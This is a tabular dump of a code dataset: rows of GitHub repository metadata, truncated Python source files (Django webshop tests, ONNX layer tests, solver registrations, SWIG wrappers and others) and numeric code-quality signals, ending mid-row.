hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b88751d906944b2e7b6ef358cda47040d6add7e6 | 12,084 | py | Python | apps/webshop/tests.py | emilps/onlineweb4 | 6f4aca2a4522698366ecdc6ab63c807ce5df2a96 | [
"MIT"
] | null | null | null | apps/webshop/tests.py | emilps/onlineweb4 | 6f4aca2a4522698366ecdc6ab63c807ce5df2a96 | [
"MIT"
] | null | null | null | apps/webshop/tests.py | emilps/onlineweb4 | 6f4aca2a4522698366ecdc6ab63c807ce5df2a96 | [
"MIT"
] | null | null | null | from unittest.mock import MagicMock, patch
from django.test import TestCase
from django.urls import reverse
from django_dynamic_fixture import G
from rest_framework import status
from apps.authentication.models import OnlineUser
from .models import Order, OrderLine, Product, ProductSize
class WebshopTestMixin:
... | 35.541176 | 106 | 0.645316 | 1,488 | 12,084 | 5.086022 | 0.120296 | 0.060782 | 0.047569 | 0.047569 | 0.858087 | 0.822014 | 0.815803 | 0.794001 | 0.768763 | 0.757135 | 0 | 0.017504 | 0.229394 | 12,084 | 339 | 107 | 35.646018 | 0.79521 | 0.002648 | 0 | 0.687747 | 0 | 0 | 0.112863 | 0.016183 | 0 | 0 | 0 | 0 | 0.166008 | 1 | 0.098814 | false | 0 | 0.027668 | 0 | 0.15415 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b8a51a995dcf4354e016aa20e0302a865f26ad86 | 143 | py | Python | d2go/utils/launch_environment.py | ananthsub/d2go | 8c3618d9e73518d32350ab4e6d0fb6509c9e08b6 | [
"Apache-2.0"
] | 1 | 2021-04-10T09:35:23.000Z | 2021-04-10T09:35:23.000Z | d2go/utils/launch_environment.py | ananthsub/d2go | 8c3618d9e73518d32350ab4e6d0fb6509c9e08b6 | [
"Apache-2.0"
] | null | null | null | d2go/utils/launch_environment.py | ananthsub/d2go | 8c3618d9e73518d32350ab4e6d0fb6509c9e08b6 | [
"Apache-2.0"
] | 1 | 2021-03-25T16:19:43.000Z | 2021-03-25T16:19:43.000Z | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
def get_launch_environment():
return "local"
| 28.6 | 70 | 0.741259 | 20 | 143 | 5.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008197 | 0.146853 | 143 | 4 | 71 | 35.75 | 0.844262 | 0.629371 | 0 | 0 | 0 | 0 | 0.098039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
b8ae40a14d2db34993034ad36d83caf47676f422 | 198 | py | Python | umu-python/app/service/tosca/vo/tgif/self.py | suomitek/cubeai | cc4c0f5f445a552d239910da63944307c1f06e37 | [
"Apache-2.0"
] | null | null | null | umu-python/app/service/tosca/vo/tgif/self.py | suomitek/cubeai | cc4c0f5f445a552d239910da63944307c1f06e37 | [
"Apache-2.0"
] | null | null | null | umu-python/app/service/tosca/vo/tgif/self.py | suomitek/cubeai | cc4c0f5f445a552d239910da63944307c1f06e37 | [
"Apache-2.0"
] | null | null | null | class Self(dict):
def __init__(self, version, name, description, component_type):
dict.__init__(self, version=version, name=name, description=description, component_type=component_type)
| 49.5 | 111 | 0.767677 | 24 | 198 | 5.875 | 0.416667 | 0.276596 | 0.212766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126263 | 198 | 3 | 112 | 66 | 0.815029 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
b21e3aba3db4c274b4d5fca5c0221e4889ab6bd5 | 38,605 | py | Python | SimModel_Python_API/simmodel_swig/Release/SimWall_Wall_Default.py | EnEff-BIM/EnEffBIM-Framework | 6328d39b498dc4065a60b5cc9370b8c2a9a1cddf | [
"MIT"
] | 3 | 2016-05-30T15:12:16.000Z | 2022-03-22T08:11:13.000Z | SimModel_Python_API/simmodel_swig/Release/SimWall_Wall_Default.py | EnEff-BIM/EnEffBIM-Framework | 6328d39b498dc4065a60b5cc9370b8c2a9a1cddf | [
"MIT"
] | 21 | 2016-06-13T11:33:45.000Z | 2017-05-23T09:46:52.000Z | SimModel_Python_API/simmodel_swig/Release/SimWall_Wall_Default.py | EnEff-BIM/EnEffBIM-Framework | 6328d39b498dc4065a60b5cc9370b8c2a9a1cddf | [
"MIT"
] | null | null | null | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 3.0.7
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (2, 6, 0):
def swig_import_helper():
from os.path imp... | 58.492424 | 154 | 0.831084 | 3,483 | 38,605 | 8.655182 | 0.081539 | 0.079613 | 0.134943 | 0.133517 | 0.917435 | 0.906721 | 0.442978 | 0.431401 | 0.41581 | 0.372786 | 0 | 0.000614 | 0.113483 | 38,605 | 659 | 155 | 58.581184 | 0.88023 | 0.007616 | 0 | 0.168803 | 1 | 0 | 0.007206 | 0.001097 | 0 | 0 | 0 | 0 | 0 | 1 | 0.354701 | false | 0.004274 | 0.023504 | 0.337607 | 0.805556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
b24d9de8b9c504a8fec4ac0948adca4313e043a4 | 142 | py | Python | Second-handtradingplatform/TradingPlatform/comment/views.py | shangyajun6943/Second-hand | b8c423eeb559aed67856fb8a9f7130793d028118 | [
"Apache-2.0"
] | null | null | null | Second-handtradingplatform/TradingPlatform/comment/views.py | shangyajun6943/Second-hand | b8c423eeb559aed67856fb8a9f7130793d028118 | [
"Apache-2.0"
] | null | null | null | Second-handtradingplatform/TradingPlatform/comment/views.py | shangyajun6943/Second-hand | b8c423eeb559aed67856fb8a9f7130793d028118 | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render
# Create your views here.
def comment(request):
return render(request,'comment/comment_index.html')
| 20.285714 | 55 | 0.774648 | 19 | 142 | 5.736842 | 0.789474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133803 | 142 | 6 | 56 | 23.666667 | 0.886179 | 0.161972 | 0 | 0 | 0 | 0 | 0.222222 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
b26643bed3bf693a72526262aabbf3774b1f3b7a | 12,592 | py | Python | tests/layer_tests/onnx_tests/test_flatten.py | ryanloney/openvino-1 | 4e0a740eb3ee31062ba0df88fcf438564f67edb7 | [
"Apache-2.0"
] | 1,127 | 2018-10-15T14:36:58.000Z | 2020-04-20T09:29:44.000Z | tests/layer_tests/onnx_tests/test_flatten.py | ryanloney/openvino-1 | 4e0a740eb3ee31062ba0df88fcf438564f67edb7 | [
"Apache-2.0"
] | 439 | 2018-10-20T04:40:35.000Z | 2020-04-19T05:56:25.000Z | tests/layer_tests/onnx_tests/test_flatten.py | ryanloney/openvino-1 | 4e0a740eb3ee31062ba0df88fcf438564f67edb7 | [
"Apache-2.0"
] | 414 | 2018-10-17T05:53:46.000Z | 2020-04-16T17:29:53.000Z | # Copyright (C) 2018-2022 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import pytest
from common.onnx_layer_test_class import OnnxRuntimeLayerTest
class TestFlatten(OnnxRuntimeLayerTest):
def create_flatten_net(self, axis, input_shape, dim, ir_version, opset=None):
"""
ONNX net ... | 40.619355 | 98 | 0.594663 | 1,661 | 12,592 | 4.290187 | 0.08248 | 0.053045 | 0.030312 | 0.061746 | 0.871316 | 0.863738 | 0.863458 | 0.861633 | 0.856161 | 0.814342 | 0 | 0.066107 | 0.281607 | 12,592 | 309 | 99 | 40.750809 | 0.721645 | 0.116264 | 0 | 0.606335 | 0 | 0 | 0.032173 | 0 | 0 | 0 | 0 | 0.003236 | 0 | 1 | 0.054299 | false | 0 | 0.049774 | 0 | 0.140271 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b27cbefcee3a41b97510809ea683c4fd9cbf9195 | 47 | py | Python | setup.py | mloskot/python-package | 4b24c22811052492d3af9d2f7d1ffa8f6ae8b412 | [
"Unlicense"
] | null | null | null | setup.py | mloskot/python-package | 4b24c22811052492d3af9d2f7d1ffa8f6ae8b412 | [
"Unlicense"
] | null | null | null | setup.py | mloskot/python-package | 4b24c22811052492d3af9d2f7d1ffa8f6ae8b412 | [
"Unlicense"
] | null | null | null | """Setup script for `pets` package.
"""
# TODO | 11.75 | 35 | 0.617021 | 6 | 47 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170213 | 47 | 4 | 36 | 11.75 | 0.74359 | 0.808511 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0.25 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a2a27168fe8a875bd515ae2dce0c82728ceead7b | 52 | py | Python | tests/test_mlp.py | Zulia5/prova_27May2019 | 5dc3ec2489f521293773ad1736ac86e0c53f216f | [
"MIT"
] | null | null | null | tests/test_mlp.py | Zulia5/prova_27May2019 | 5dc3ec2489f521293773ad1736ac86e0c53f216f | [
"MIT"
] | null | null | null | tests/test_mlp.py | Zulia5/prova_27May2019 | 5dc3ec2489f521293773ad1736ac86e0c53f216f | [
"MIT"
] | null | null | null | from newdir import mlp
def test_mlp():
mlp(5)
| 8.666667 | 22 | 0.653846 | 9 | 52 | 3.666667 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.25 | 52 | 5 | 23 | 10.4 | 0.820513 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a2b698e80f5de90dc7b43facd74719398f5367f1 | 3,341 | py | Python | pysperf/solvers/gams_minlp.py | grossmann-group/pysperf | a72cebf903d6689739f1e5769e92d77ad13eec4d | [
"BSD-2-Clause"
] | null | null | null | pysperf/solvers/gams_minlp.py | grossmann-group/pysperf | a72cebf903d6689739f1e5769e92d77ad13eec4d | [
"BSD-2-Clause"
] | null | null | null | pysperf/solvers/gams_minlp.py | grossmann-group/pysperf | a72cebf903d6689739f1e5769e92d77ad13eec4d | [
"BSD-2-Clause"
] | 2 | 2020-05-21T22:15:51.000Z | 2020-06-02T23:02:08.000Z | from pyomo.environ import SolverFactory
from pysperf.base_classes import _JobResult
from pysperf.config import get_base_gams_options_list, options
from pysperf.model_types import ModelType
from pysperf.solver_library_tools import register_GDP_reformulations, register_solve_function
@register_GDP_reformulations
@regi... | 40.743902 | 99 | 0.733613 | 406 | 3,341 | 5.689655 | 0.199507 | 0.081818 | 0.07013 | 0.077922 | 0.844589 | 0.812554 | 0.792641 | 0.792641 | 0.792641 | 0.770563 | 0 | 0 | 0.18258 | 3,341 | 81 | 100 | 41.246914 | 0.845844 | 0.032625 | 0 | 0.685714 | 0 | 0 | 0.074992 | 0.034707 | 0 | 0 | 0 | 0 | 0 | 1 | 0.042857 | false | 0.014286 | 0.071429 | 0 | 0.157143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a2e6954e82737d5638f89f573b8a2231fbebfd3b | 2,454 | py | Python | tests/test_inputs_handler_osmnx_customised.py | arup-group/genet | 24bfbee31da6d7951598adb29ddf17d3a08ed5e6 | [
"MIT"
] | 22 | 2020-12-22T11:11:44.000Z | 2022-03-07T16:25:35.000Z | tests/test_inputs_handler_osmnx_customised.py | tkahng/genet | d5c29ed9e44408b60f55d8de889d7430debc9f04 | [
"MIT"
] | 27 | 2020-12-22T09:45:35.000Z | 2022-03-03T14:52:24.000Z | tests/test_inputs_handler_osmnx_customised.py | tkahng/genet | d5c29ed9e44408b60f55d8de889d7430debc9f04 | [
"MIT"
] | 7 | 2021-01-02T10:00:05.000Z | 2022-01-06T03:53:43.000Z | from tests.fixtures import assert_semantically_equal, full_fat_default_config
from genet.inputs_handler import osmnx_customised
def test_return_edges_handles_regular_non_oneway_paths(full_fat_default_config):
paths = {0: {'osmid': 0, 'nodes': [0, 1], 'highway': 'unclassified', 'modes': ['bike', 'car', 'walk']}}
... | 51.125 | 117 | 0.662999 | 312 | 2,454 | 4.987179 | 0.160256 | 0.040488 | 0.080977 | 0.115681 | 0.875964 | 0.859897 | 0.859897 | 0.859897 | 0.859897 | 0.859897 | 0 | 0.016932 | 0.181744 | 2,454 | 47 | 118 | 52.212766 | 0.757968 | 0 | 0 | 0.628571 | 0 | 0 | 0.162184 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.114286 | false | 0 | 0.057143 | 0 | 0.171429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0c00688b1046e377f6b6d337c0748b6f5f93ce16 | 29 | py | Python | main.py | felipe-almeida-costa-leite/pydenv | c2562a194a07c56e412f3e0023cffb39e05870d4 | [
"MIT"
] | null | null | null | main.py | felipe-almeida-costa-leite/pydenv | c2562a194a07c56e412f3e0023cffb39e05870d4 | [
"MIT"
] | null | null | null | main.py | felipe-almeida-costa-leite/pydenv | c2562a194a07c56e412f3e0023cffb39e05870d4 | [
"MIT"
] | null | null | null | from pydenv.pydenv import *
| 9.666667 | 27 | 0.758621 | 4 | 29 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 29 | 2 | 28 | 14.5 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0c093db624ba781d93f6baff2e9f6c28683176f7 | 201 | py | Python | paa191t1/tests/pph/test_pph_custom_pivot.py | dmmoura/PAA-2021 | 435005f6494ece76f03807fb524e0d4a3e1d7222 | [
"Apache-2.0"
] | null | null | null | paa191t1/tests/pph/test_pph_custom_pivot.py | dmmoura/PAA-2021 | 435005f6494ece76f03807fb524e0d4a3e1d7222 | [
"Apache-2.0"
] | null | null | null | paa191t1/tests/pph/test_pph_custom_pivot.py | dmmoura/PAA-2021 | 435005f6494ece76f03807fb524e0d4a3e1d7222 | [
"Apache-2.0"
] | null | null | null | from paa191t1.pph.pph_custom_pivot import pph_custom_pivot
from paa191t1.tests.pph import TestPPHBase
class TestPPHCustomPivot(TestPPHBase):
def setUp(self):
self.pph = pph_custom_pivot
| 22.333333 | 58 | 0.791045 | 27 | 201 | 5.666667 | 0.481481 | 0.176471 | 0.27451 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046784 | 0.149254 | 201 | 8 | 59 | 25.125 | 0.847953 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0c1f7a8bfef05133d7d23c7e4a69390c05d4901b | 2,224 | py | Python | tests/validate/common/test_repository_information_file_check.py | bdraco/integration | b30e799bb27fdd978bd68f21909c82005d0dd3ea | [
"MIT"
] | 2 | 2019-06-18T11:30:53.000Z | 2019-10-03T21:34:11.000Z | tests/validate/common/test_repository_information_file_check.py | bdraco/integration | b30e799bb27fdd978bd68f21909c82005d0dd3ea | [
"MIT"
] | 341 | 2019-06-18T11:30:55.000Z | 2021-07-15T05:38:46.000Z | tests/validate/common/test_repository_information_file_check.py | bdraco/integration | b30e799bb27fdd978bd68f21909c82005d0dd3ea | [
"MIT"
] | null | null | null | import pytest
from aiogithubapi.objects.repository.content import AIOGitHubAPIRepositoryTreeContent
from custom_components.hacs.validate.common.repository_information_file import (
RepositoryInformationFile,
)
from tests.dummy_repository import dummy_repository_base
@pytest.mark.asyncio
async def test_no_info_fi... | 28.512821 | 85 | 0.711331 | 230 | 2,224 | 6.626087 | 0.182609 | 0.07874 | 0.08727 | 0.086614 | 0.846457 | 0.846457 | 0.839895 | 0.815617 | 0.815617 | 0.815617 | 0 | 0 | 0.190198 | 2,224 | 77 | 86 | 28.883117 | 0.846197 | 0 | 0 | 0.625 | 0 | 0 | 0.060252 | 0 | 0 | 0 | 0 | 0 | 0.09375 | 1 | 0 | false | 0 | 0.0625 | 0 | 0.0625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0c49376baf60a17801fcab34cf633510ff931303 | 1,490 | py | Python | tests/test_ratio.py | chinapnr/covid-19-data | 409fa260c16e09b7ef820435c5086207bb5e40ef | [
"MIT"
] | 3 | 2020-05-27T01:21:50.000Z | 2020-08-20T07:54:42.000Z | tests/test_ratio.py | chinapnr/covid-19-data | 409fa260c16e09b7ef820435c5086207bb5e40ef | [
"MIT"
] | 24 | 2020-03-26T10:45:34.000Z | 2020-04-06T06:13:50.000Z | tests/test_ratio.py | chinapnr/covid-19-data | 409fa260c16e09b7ef820435c5086207bb5e40ef | [
"MIT"
] | null | null | null | import pytest
@pytest.mark.skipif('True==True')
@pytest.mark.usefixtures('client', 'headers')
class TestRatio:
def test_ratio_gender(self, client, headers):
payload = {
'country': 'China',
'stime': '2020-03-24',
'etime': '2020-03-22'
}
response = client... | 31.702128 | 86 | 0.55906 | 154 | 1,490 | 5.331169 | 0.233766 | 0.058465 | 0.058465 | 0.116931 | 0.818514 | 0.818514 | 0.818514 | 0.818514 | 0.818514 | 0.818514 | 0 | 0.072175 | 0.293289 | 1,490 | 46 | 87 | 32.391304 | 0.707502 | 0 | 0 | 0.6 | 0 | 0 | 0.191275 | 0 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.1 | false | 0 | 0.025 | 0 | 0.15 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0c5f992803b66b23c652d18c650f82c57903fd2f | 171 | py | Python | api/__init__.py | ceephoen/celery-flask-example | b92febfdd29dc2431c3c39940d3e54d4cc677134 | [
"MIT"
] | null | null | null | api/__init__.py | ceephoen/celery-flask-example | b92febfdd29dc2431c3c39940d3e54d4cc677134 | [
"MIT"
] | null | null | null | api/__init__.py | ceephoen/celery-flask-example | b92febfdd29dc2431c3c39940d3e54d4cc677134 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Blueprint
"""
from flask import Blueprint
# init Blueprint
router = Blueprint('router', __name__, url_prefix='/v1/api')
from api import entry
| 17.1 | 60 | 0.690058 | 22 | 171 | 5.136364 | 0.681818 | 0.265487 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013699 | 0.146199 | 171 | 9 | 61 | 19 | 0.760274 | 0.274854 | 0 | 0 | 0 | 0 | 0.113043 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
a746baaee56535c0d02d5d2598f485abc039d4f2 | 458 | py | Python | octicons16px/rss.py | andrewp-as-is/octicons16px.py | 1272dc9f290619d83bd881e87dbd723b0c48844c | [
"Unlicense"
] | 1 | 2021-01-28T06:47:39.000Z | 2021-01-28T06:47:39.000Z | octicons16px/rss.py | andrewp-as-is/octicons16px.py | 1272dc9f290619d83bd881e87dbd723b0c48844c | [
"Unlicense"
] | null | null | null | octicons16px/rss.py | andrewp-as-is/octicons16px.py | 1272dc9f290619d83bd881e87dbd723b0c48844c | [
"Unlicense"
] | null | null | null |
OCTICON_RSS = """
